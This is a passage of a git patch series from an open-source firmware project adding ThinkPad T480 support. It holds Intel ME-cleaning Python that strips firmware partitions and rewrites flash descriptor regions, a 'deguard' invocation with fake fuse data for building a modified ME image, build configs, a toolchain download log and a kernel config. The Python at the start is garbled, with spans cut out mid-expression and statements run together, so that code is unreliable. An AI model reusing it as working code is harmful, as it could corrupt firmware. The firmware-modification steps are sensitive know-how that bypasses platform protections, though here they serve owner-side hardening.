whitelist or (blacklist and + part_name not in blacklist): + unremovable_part_fpt += partition + if part_name != "FTPR": + extra_part_end = max(extra_part_end, part_end) + print("NOT removed") + else: + mef.fill_range(part_start, part_end, b"\xff") + print("removed") + + print("Removing partition entries in FPT...") + mef.write_to(0x30, unremovable_part_fpt) + mef.write_to(0x14, + pack("= 11 (except for + # 0x1b, the checksum itself). In other words, the sum of those + # bytes must be always 0x00. + mef.write_to(0x1b, pack("B", checksum)) + + print("Reading FTPR modules list...") + if me11: + end_addr, ftpr_offset = \ + check_and_remove_modules_me11(mef, me_end, + ftpr_offset, ftpr_length, + min_ftpr_offset, + args.relocate, + args.keep_modules) + else: + end_addr, ftpr_offset = \ + check_and_remove_modules(mef, me_end, ftpr_offset, + min_ftpr_offset, args.relocate, + args.keep_modules) + + if end_addr > 0: + end_addr = max(end_addr, extra_part_end) + end_addr = (end_addr // 0x1000 + 1) * 0x1000 + end_addr += spared_blocks * 0x1000 + + print("The ME minimum size should be {0} bytes " + "({0:#x} bytes)".format(end_addr)) + + if me_start > 0: + print("The ME region can be reduced up to:\n" + " {:08x}:{:08x} me" + .format(me_start, me_start + end_addr - 1)) + elif args.truncate: + print("Truncating file at {:#x}...".format(end_addr)) + f.truncate(end_addr) + + if args.soft_disable or args.soft_disable_only: + if me11: + print("Setting the HAP bit in PCHSTRP0 to disable Intel ME...") + pchstrp0 |= (1 << 16) + fdf.write_to(fpsba, pack(" {:08x}:{:08x} me" + .format(me_start, me_end - 1, + me_start, me_start + end_addr - 1)) + print(" {:08x}:{:08x} bios --> {:08x}:{:08x} bios" + .format(bios_start, bios_end - 1, + me_start + end_addr, bios_end - 1)) + + flreg1 = start_end_to_flreg(me_start + end_addr, bios_end) + flreg2 = start_end_to_flreg(me_start, me_start + end_addr) + + fdf_copy.seek(frba + 0x4) + fdf_copy.write(pack(" Date: Tue, 11 Feb 2025 14:46:09 +0100 Subject: [PATCH 491/619] change gbe and ifd_16 files Signed-off-by: Thierry Laurion --- blobs/t480/{gbe.bin => gbe} | Bin blobs/t480/{ifd_16.bin => ifd_16} | Bin 2 files changed, 0 insertions(+), 0 deletions(-) rename blobs/t480/{gbe.bin => gbe} (100%) rename blobs/t480/{ifd_16.bin => ifd_16} (100%) diff --git a/blobs/t480/gbe.bin b/blobs/t480/gbe similarity index 100% rename from blobs/t480/gbe.bin rename to blobs/t480/gbe diff --git a/blobs/t480/ifd_16.bin b/blobs/t480/ifd_16 similarity index 100% rename from blobs/t480/ifd_16.bin rename to blobs/t480/ifd_16 From fd3745c179af986f91112571f0c69bbfbbf44361 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 09:44:45 -0500 Subject: [PATCH 492/619] modules/coreboot: t480; do not reuse 24.02.01 coreboot buildtack, since its not sharing the same coreboot buildstack (something 25.X.X, need to check) Signed-off-by: Thierry Laurion --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 7de21fb43..1aad36d70 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -101,7 +101,7 @@ $(eval $(call coreboot_module,dasharo,24.02.01)) # T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above coreboot-t480_repo := https://review.coreboot.org/coreboot.git coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a -$(eval $(call coreboot_module,t480,24.02.01)) +$(eval $(call coreboot_module,t480,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 820931bcf7c01ab9efb182d67d36eecf9f63ed02 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 09:50:08 -0500 Subject: [PATCH 493/619] Revert "modules/coreboot: t480; do not reuse 24.02.01 coreboot buildtack, since its not sharing the same coreboot buildstack (something 25.X.X, need to check)" This reverts commit b1f279354388fd8e71abd9f1514246d7e9f6ed1c. Hmmm.... WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "binutils" "/home/user/heads/packages/x86" --2025-02-11 14:46:38-- https://ftpmirror.gnu.org/binutils/binutils-2.43.1.tar.xz Resolving ftpmirror.gnu.org (ftpmirror.gnu.org)... 209.51.188.200, 2001:470:142:5::200 Connecting to ftpmirror.gnu.org (ftpmirror.gnu.org)|209.51.188.200|:443... connected. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mirror.csclub.uwaterloo.ca/gnu/binutils/binutils-2.43.1.tar.xz [following] --2025-02-11 14:46:40-- https://mirror.csclub.uwaterloo.ca/gnu/binutils/binutils-2.43.1.tar.xz Resolving mirror.csclub.uwaterloo.ca (mirror.csclub.uwaterloo.ca)... 129.97.134.71, 2620:101:f000:4901:c5c:0:f:1055 Connecting to mirror.csclub.uwaterloo.ca (mirror.csclub.uwaterloo.ca)|129.97.134.71|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 28174300 (27M) [text/plain] Saving to: '/home/user/heads/packages/x86/coreboot-crossgcc-binutils-2.43.1.tar.xz.tmp' /home/user/heads/packages/x86/coreboot-crossgcc-binu 100%[=====================================================================================================================>] 26.87M 8.88MB/s in 3.0s 2025-02-11 14:46:44 (8.88 MB/s) - '/home/user/heads/packages/x86/coreboot-crossgcc-binutils-2.43.1.tar.xz.tmp' saved [28174300/28174300] /home/user/heads/packages/x86/coreboot-crossgcc-binutils-2.43.1.tar.xz.tmp: OK touch "/home/user/heads/build/x86/coreboot-t480/.heads-crossgcc-pkg-binutils" WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "gcc" "/home/user/heads/packages/x86" --2025-02-11 14:46:44-- https://ftpmirror.gnu.org/gcc/gcc-14.2.0/gcc-14.2.0.tar.xz Resolving ftpmirror.gnu.org (ftpmirror.gnu.org)... 209.51.188.200, 2001:470:142:5::200 Connecting to ftpmirror.gnu.org (ftpmirror.gnu.org)|209.51.188.200|:443... connected. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mirror2.evolution-host.com/gnu/gcc/gcc-14.2.0/gcc-14.2.0.tar.xz [following] --2025-02-11 14:46:44-- https://mirror2.evolution-host.com/gnu/gcc/gcc-14.2.0/gcc-14.2.0.tar.xz Resolving mirror2.evolution-host.com (mirror2.evolution-host.com)... 167.114.8.249, 2607:5300:60:450d:c259:13f4:6df0:1 Connecting to mirror2.evolution-host.com (mirror2.evolution-host.com)|167.114.8.249|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 92306460 (88M) [application/x-xz] Saving to: '/home/user/heads/packages/x86/coreboot-crossgcc-gcc-14.2.0.tar.xz.tmp' /home/user/heads/packages/x86/coreboot-crossgcc-gcc- 100%[=====================================================================================================================>] 88.03M 32.9MB/s in 2.7s 2025-02-11 14:46:48 (32.9 MB/s) - '/home/user/heads/packages/x86/coreboot-crossgcc-gcc-14.2.0.tar.xz.tmp' saved [92306460/92306460] /home/user/heads/packages/x86/coreboot-crossgcc-gcc-14.2.0.tar.xz.tmp: OK touch "/home/user/heads/build/x86/coreboot-t480/.heads-crossgcc-pkg-gcc" WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "nasm" "/home/user/heads/packages/x86" --2025-02-11 14:46:48-- https://www.nasm.us/pub/nasm/releasebuilds/2.16.03/nasm-2.16.03.tar.bz2 Resolving www.nasm.us (www.nasm.us)... 198.137.202.136, 2607:7c80:54:3::136 Connecting to www.nasm.us (www.nasm.us)|198.137.202.136|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 1361988 (1.3M) [application/x-bzip2] Saving to: '/home/user/heads/packages/x86/coreboot-crossgcc-nasm-2.16.03.tar.bz2.tmp' /home/user/heads/packages/x86/coreboot-crossgcc-nasm 100%[=====================================================================================================================>] 1.30M 2.90MB/s in 0.4s 2025-02-11 14:46:49 (2.90 MB/s) - '/home/user/heads/packages/x86/coreboot-crossgcc-nasm-2.16.03.tar.bz2.tmp' saved [1361988/1361988] /home/user/heads/packages/x86/coreboot-crossgcc-nasm-2.16.03.tar.bz2.tmp: OK touch "/home/user/heads/build/x86/coreboot-t480/.heads-crossgcc-pkg-nasm" WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "iasl" "/home/user/heads/packages/x86" --2025-02-11 14:46:49-- https://distfiles.macports.org/acpica/acpica-unix-20241212.tar.gz Resolving distfiles.macports.org (distfiles.macports.org)... 151.101.138.132 Connecting to distfiles.macports.org (distfiles.macports.org)|151.101.138.132|:443... connected. HTTP request sent, awaiting response... 404 Not Found 2025-02-11 14:46:50 ERROR 404: Not Found. Failed to download https://distfiles.macports.org/acpica/acpica-unix-20241212.tar.gz Try mirrors for coreboot-crossgcc-acpica-unix-20241212.tar.gz --2025-02-11 14:46:50-- https://storage.puri.st/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz Resolving storage.puri.st (storage.puri.st)... 146.190.140.226 Connecting to storage.puri.st (storage.puri.st)|146.190.140.226|:443... connected. HTTP request sent, awaiting response... 404 Not Found 2025-02-11 14:46:51 ERROR 404: Not Found. Failed to download https://storage.puri.st/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz --2025-02-11 14:46:51-- https://storage.puri.sm/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz Resolving storage.puri.sm (storage.puri.sm)... 146.190.140.226 Connecting to storage.puri.sm (storage.puri.sm)|146.190.140.226|:443... connected. HTTP request sent, awaiting response... 404 Not Found 2025-02-11 14:46:52 ERROR 404: Not Found. Failed to download https://storage.puri.sm/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz Signed-off-by: Thierry Laurion --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 1aad36d70..7de21fb43 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -101,7 +101,7 @@ $(eval $(call coreboot_module,dasharo,24.02.01)) # T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above coreboot-t480_repo := https://review.coreboot.org/coreboot.git coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a -$(eval $(call coreboot_module,t480,)) +$(eval $(call coreboot_module,t480,24.02.01)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 304f6b9a8c1b8dfb6b7447654d8f64e7579a0885 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:08:18 -0500 Subject: [PATCH 494/619] blobs/t480/download-clean-deguard-me.sh: deguard local call needs python when used under nix docker Signed-off-by: Thierry Laurion --- blobs/t480/download-clean-deguard-me.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/blobs/t480/download-clean-deguard-me.sh b/blobs/t480/download-clean-deguard-me.sh index 12e2a6958..d72c44087 100755 --- a/blobs/t480/download-clean-deguard-me.sh +++ b/blobs/t480/download-clean-deguard-me.sh @@ -79,7 +79,7 @@ if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then ME11sku="2M" ME11pch="LP" - ./finalimage.py --delta "data/delta/$ME11delta" \ + python ./finalimage.py --delta "data/delta/$ME11delta" \ --version "$ME11version" \ --pch "$ME11pch" --sku "$ME11sku" --fake-fpfs data/fpfs/zero \ --input "${temp_path}/me_cleaned.bin" \ From 5ce57053e6cceac77d4063c48660b9819d7ec3b3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:09:21 -0500 Subject: [PATCH 495/619] boards/t480-maximized/t480-maximized.config: use t480 target that calls blobs scripts Signed-off-by: Thierry Laurion --- boards/t480-maximized/t480-maximized.config | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index b987ab9f6..9b48ef87f 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -48,18 +48,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad T480" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -# COPIED FROM T440p! NEEDS ADAPTION!!!! -# Make the Coreboot build depend on the following 3rd party blobs: -$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ - $(pwd)/blobs/haswell/mrc.bin $(pwd)/blobs/t440p/me.bin - -$(pwd)/blobs/haswell/mrc.bin: - COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/haswell/obtain-mrc $(pwd)/blobs/haswell - -$(pwd)/blobs/t440p/me.bin: - COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/t440p/download-clean-me $(pwd)/blobs/t440p - -# Generate split 4MB top / 8MB bottom ROMs -#BOARD_TARGETS += split_8mb4mb Is there an other command for not splitting stuff at the end or is this the default option anyways? +# t480 blobs requirements +BOARD_TARGETS += t480_me_blobs From c44285c58e17563b06a3b995714fca26cf4aad3e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:10:28 -0500 Subject: [PATCH 496/619] config/linux-t480.config: use config/linux-librem_common-6.1.8.config as base Signed-off-by: Thierry Laurion --- config/linux-t480.config | 3135 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 3135 insertions(+) create mode 100644 config/linux-t480.config diff --git a/config/linux-t480.config b/config/linux-t480.config new file mode 100644 index 000000000..b7b2d58ce --- /dev/null +++ b/config/linux-t480.config @@ -0,0 +1,3135 @@ +# +# Automatically generated file; DO NOT EDIT. +# Linux/x86 6.1.8 Kernel Configuration +# +CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" +CONFIG_CC_IS_GCC=y +CONFIG_GCC_VERSION=80300 +CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 +CONFIG_LLD_VERSION=0 +CONFIG_CC_CAN_LINK=y +CONFIG_CC_CAN_LINK_STATIC=y +CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 +CONFIG_IRQ_WORK=y +CONFIG_BUILDTIME_TABLE_SORT=y +CONFIG_THREAD_INFO_IN_TASK=y + +# +# General setup +# +CONFIG_INIT_ENV_ARG_LIMIT=32 +# CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set +CONFIG_LOCALVERSION="-@BRAND_NAME@" +# CONFIG_LOCALVERSION_AUTO is not set +CONFIG_BUILD_SALT="" +CONFIG_HAVE_KERNEL_GZIP=y +CONFIG_HAVE_KERNEL_BZIP2=y +CONFIG_HAVE_KERNEL_LZMA=y +CONFIG_HAVE_KERNEL_XZ=y +CONFIG_HAVE_KERNEL_LZO=y +CONFIG_HAVE_KERNEL_LZ4=y +CONFIG_HAVE_KERNEL_ZSTD=y +# CONFIG_KERNEL_GZIP is not set +# CONFIG_KERNEL_BZIP2 is not set +# CONFIG_KERNEL_LZMA is not set +CONFIG_KERNEL_XZ=y +# CONFIG_KERNEL_LZO is not set +# CONFIG_KERNEL_LZ4 is not set +# CONFIG_KERNEL_ZSTD is not set +CONFIG_DEFAULT_INIT="" +CONFIG_DEFAULT_HOSTNAME="(none)" +# CONFIG_SYSVIPC is not set +# CONFIG_POSIX_MQUEUE is not set +# CONFIG_WATCH_QUEUE is not set +# CONFIG_CROSS_MEMORY_ATTACH is not set +# CONFIG_USELIB is not set +# CONFIG_AUDIT is not set +CONFIG_HAVE_ARCH_AUDITSYSCALL=y + +# +# IRQ subsystem +# +CONFIG_GENERIC_IRQ_PROBE=y +CONFIG_GENERIC_IRQ_SHOW=y +CONFIG_GENERIC_IRQ_EFFECTIVE_AFF_MASK=y +CONFIG_GENERIC_PENDING_IRQ=y +CONFIG_GENERIC_IRQ_MIGRATION=y +CONFIG_HARDIRQS_SW_RESEND=y +CONFIG_IRQ_DOMAIN=y +CONFIG_IRQ_DOMAIN_HIERARCHY=y +CONFIG_GENERIC_MSI_IRQ=y +CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y +CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y +CONFIG_GENERIC_IRQ_RESERVATION_MODE=y +CONFIG_IRQ_FORCED_THREADING=y +CONFIG_SPARSE_IRQ=y +# end of IRQ subsystem + +CONFIG_CLOCKSOURCE_WATCHDOG=y +CONFIG_ARCH_CLOCKSOURCE_INIT=y +CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y +CONFIG_GENERIC_TIME_VSYSCALL=y +CONFIG_GENERIC_CLOCKEVENTS=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y +CONFIG_GENERIC_CMOS_UPDATE=y +CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y + +# +# Timers subsystem +# +CONFIG_TICK_ONESHOT=y +CONFIG_NO_HZ_COMMON=y +# CONFIG_HZ_PERIODIC is not set +CONFIG_NO_HZ_IDLE=y +# CONFIG_NO_HZ_FULL is not set +# CONFIG_NO_HZ is not set +# CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 +# end of Timers subsystem + +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y +CONFIG_PREEMPT_NONE=y +# CONFIG_PREEMPT_VOLUNTARY is not set +# CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set + +# +# CPU/Task time and stats accounting +# +CONFIG_TICK_CPU_ACCOUNTING=y +# CONFIG_VIRT_CPU_ACCOUNTING_GEN is not set +# CONFIG_IRQ_TIME_ACCOUNTING is not set +# CONFIG_PSI is not set +# end of CPU/Task time and stats accounting + +# CONFIG_CPU_ISOLATION is not set + +# +# RCU Subsystem +# +CONFIG_TREE_RCU=y +# CONFIG_RCU_EXPERT is not set +CONFIG_SRCU=y +CONFIG_TREE_SRCU=y +CONFIG_RCU_STALL_COMMON=y +CONFIG_RCU_NEED_SEGCBLIST=y +# end of RCU Subsystem + +# CONFIG_IKCONFIG is not set +# CONFIG_IKHEADERS is not set +CONFIG_LOG_BUF_SHIFT=18 +CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 +CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 +CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y + +# +# Scheduler features +# +# CONFIG_UCLAMP_TASK is not set +# end of Scheduler features + +CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y +CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y +CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y +CONFIG_ARCH_SUPPORTS_INT128=y +# CONFIG_CGROUPS is not set +# CONFIG_CHECKPOINT_RESTORE is not set +# CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set +# CONFIG_RELAY is not set +CONFIG_BLK_DEV_INITRD=y +CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" +CONFIG_INITRAMFS_ROOT_UID=0 +CONFIG_INITRAMFS_ROOT_GID=0 +# CONFIG_RD_GZIP is not set +# CONFIG_RD_BZIP2 is not set +# CONFIG_RD_LZMA is not set +CONFIG_RD_XZ=y +# CONFIG_RD_LZO is not set +# CONFIG_RD_LZ4 is not set +# CONFIG_RD_ZSTD is not set +CONFIG_INITRAMFS_COMPRESSION_XZ=y +# CONFIG_INITRAMFS_COMPRESSION_NONE is not set +# CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set +# CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set +CONFIG_CC_OPTIMIZE_FOR_SIZE=y +CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y +CONFIG_SYSCTL_EXCEPTION_TRACE=y +CONFIG_HAVE_PCSPKR_PLATFORM=y +CONFIG_EXPERT=y +# CONFIG_MULTIUSER is not set +# CONFIG_SGETMASK_SYSCALL is not set +# CONFIG_SYSFS_SYSCALL is not set +# CONFIG_FHANDLE is not set +CONFIG_POSIX_TIMERS=y +CONFIG_PRINTK=y +CONFIG_BUG=y +CONFIG_PCSPKR_PLATFORM=y +# CONFIG_BASE_FULL is not set +CONFIG_FUTEX=y +CONFIG_FUTEX_PI=y +CONFIG_EPOLL=y +# CONFIG_SIGNALFD is not set +# CONFIG_TIMERFD is not set +# CONFIG_EVENTFD is not set +CONFIG_SHMEM=y +# CONFIG_AIO is not set +CONFIG_IO_URING=y +# CONFIG_ADVISE_SYSCALLS is not set +CONFIG_MEMBARRIER=y +# CONFIG_KALLSYMS is not set +CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y +# CONFIG_RSEQ is not set +CONFIG_EMBEDDED=y +CONFIG_HAVE_PERF_EVENTS=y +# CONFIG_PC104 is not set + +# +# Kernel Performance Events And Counters +# +CONFIG_PERF_EVENTS=y +# CONFIG_DEBUG_PERF_USE_VMALLOC is not set +# end of Kernel Performance Events And Counters + +# CONFIG_PROFILING is not set +# end of General setup + +CONFIG_64BIT=y +CONFIG_X86_64=y +CONFIG_X86=y +CONFIG_INSTRUCTION_DECODER=y +CONFIG_OUTPUT_FORMAT="elf64-x86-64" +CONFIG_LOCKDEP_SUPPORT=y +CONFIG_STACKTRACE_SUPPORT=y +CONFIG_MMU=y +CONFIG_ARCH_MMAP_RND_BITS_MIN=28 +CONFIG_ARCH_MMAP_RND_BITS_MAX=32 +CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8 +CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16 +CONFIG_GENERIC_ISA_DMA=y +CONFIG_GENERIC_BUG=y +CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y +CONFIG_ARCH_MAY_HAVE_PC_FDC=y +CONFIG_GENERIC_CALIBRATE_DELAY=y +CONFIG_ARCH_HAS_CPU_RELAX=y +CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 +CONFIG_ARCH_SUSPEND_POSSIBLE=y +CONFIG_AUDIT_ARCH=y +CONFIG_HAVE_INTEL_TXT=y +CONFIG_X86_64_SMP=y +CONFIG_ARCH_SUPPORTS_UPROBES=y +CONFIG_FIX_EARLYCON_MEM=y +CONFIG_PGTABLE_LEVELS=4 +CONFIG_CC_HAS_SANE_STACKPROTECTOR=y + +# +# Processor type and features +# +CONFIG_SMP=y +CONFIG_X86_FEATURE_NAMES=y +# CONFIG_X86_MPPARSE is not set +# CONFIG_GOLDFISH is not set +# CONFIG_X86_CPU_RESCTRL is not set +# CONFIG_X86_EXTENDED_PLATFORM is not set +# CONFIG_X86_INTEL_LPSS is not set +# CONFIG_X86_AMD_PLATFORM_DEVICE is not set +CONFIG_IOSF_MBI=y +CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y +CONFIG_SCHED_OMIT_FRAME_POINTER=y +# CONFIG_HYPERVISOR_GUEST is not set +# CONFIG_MK8 is not set +# CONFIG_MPSC is not set +CONFIG_MCORE2=y +# CONFIG_MATOM is not set +# CONFIG_GENERIC_CPU is not set +CONFIG_X86_INTERNODE_CACHE_SHIFT=6 +CONFIG_X86_L1_CACHE_SHIFT=6 +CONFIG_X86_INTEL_USERCOPY=y +CONFIG_X86_USE_PPRO_CHECKSUM=y +CONFIG_X86_P6_NOP=y +CONFIG_X86_TSC=y +CONFIG_X86_CMPXCHG64=y +CONFIG_X86_CMOV=y +CONFIG_X86_MINIMUM_CPU_FAMILY=64 +CONFIG_X86_DEBUGCTLMSR=y +CONFIG_IA32_FEAT_CTL=y +CONFIG_X86_VMX_FEATURE_NAMES=y +CONFIG_PROCESSOR_SELECT=y +CONFIG_CPU_SUP_INTEL=y +# CONFIG_CPU_SUP_AMD is not set +# CONFIG_CPU_SUP_HYGON is not set +# CONFIG_CPU_SUP_CENTAUR is not set +# CONFIG_CPU_SUP_ZHAOXIN is not set +CONFIG_HPET_TIMER=y +CONFIG_HPET_EMULATE_RTC=y +CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y +# CONFIG_MAXSMP is not set +CONFIG_NR_CPUS_RANGE_BEGIN=2 +CONFIG_NR_CPUS_RANGE_END=512 +CONFIG_NR_CPUS_DEFAULT=64 +CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y +CONFIG_SCHED_SMT=y +CONFIG_SCHED_MC=y +CONFIG_SCHED_MC_PRIO=y +CONFIG_X86_LOCAL_APIC=y +CONFIG_X86_IO_APIC=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set +CONFIG_X86_MCE=y +# CONFIG_X86_MCELOG_LEGACY is not set +CONFIG_X86_MCE_INTEL=y +CONFIG_X86_MCE_THRESHOLD=y + +# +# Performance monitoring +# +# CONFIG_PERF_EVENTS_INTEL_UNCORE is not set +# CONFIG_PERF_EVENTS_INTEL_RAPL is not set +# CONFIG_PERF_EVENTS_INTEL_CSTATE is not set +# end of Performance monitoring + +# CONFIG_X86_VSYSCALL_EMULATION is not set +CONFIG_X86_IOPL_IOPERM=y +# CONFIG_MICROCODE is not set +# CONFIG_X86_MSR is not set +# CONFIG_X86_CPUID is not set +# CONFIG_X86_5LEVEL is not set +CONFIG_X86_DIRECT_GBPAGES=y +# CONFIG_NUMA is not set +CONFIG_ARCH_SPARSEMEM_ENABLE=y +CONFIG_ARCH_SPARSEMEM_DEFAULT=y +CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 +CONFIG_X86_PMEM_LEGACY_DEVICE=y +CONFIG_X86_PMEM_LEGACY=y +# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set +# CONFIG_MTRR is not set +CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set +# CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set +CONFIG_X86_INTEL_TSX_MODE_OFF=y +# CONFIG_X86_INTEL_TSX_MODE_ON is not set +# CONFIG_X86_INTEL_TSX_MODE_AUTO is not set +CONFIG_EFI=y +# CONFIG_EFI_STUB is not set +# CONFIG_HZ_100 is not set +CONFIG_HZ_250=y +# CONFIG_HZ_300 is not set +# CONFIG_HZ_1000 is not set +CONFIG_HZ=250 +CONFIG_KEXEC=y +CONFIG_KEXEC_FILE=y +CONFIG_ARCH_HAS_KEXEC_PURGATORY=y +# CONFIG_KEXEC_SIG is not set +# CONFIG_CRASH_DUMP is not set +CONFIG_PHYSICAL_START=0x1000000 +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y +CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 +CONFIG_HOTPLUG_CPU=y +# CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set +# CONFIG_DEBUG_HOTPLUG_CPU0 is not set +# CONFIG_LEGACY_VSYSCALL_XONLY is not set +CONFIG_LEGACY_VSYSCALL_NONE=y +# CONFIG_CMDLINE_BOOL is not set +# CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set +CONFIG_HAVE_LIVEPATCH=y +# end of Processor type and features + +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +# CONFIG_RETPOLINE is not set +CONFIG_CPU_IBRS_ENTRY=y +CONFIG_ARCH_HAS_ADD_PAGES=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y + +# +# Power management and ACPI options +# +# CONFIG_SUSPEND is not set +# CONFIG_PM is not set +# CONFIG_ENERGY_MODEL is not set +CONFIG_ARCH_SUPPORTS_ACPI=y +CONFIG_ACPI=y +CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y +CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y +CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y +# CONFIG_ACPI_DEBUGGER is not set +CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set +CONFIG_ACPI_LPIT=y +CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y +# CONFIG_ACPI_EC_DEBUGFS is not set +CONFIG_ACPI_AC=y +CONFIG_ACPI_BATTERY=y +CONFIG_ACPI_BUTTON=y +CONFIG_ACPI_FAN=y +# CONFIG_ACPI_DOCK is not set +CONFIG_ACPI_CPU_FREQ_PSS=y 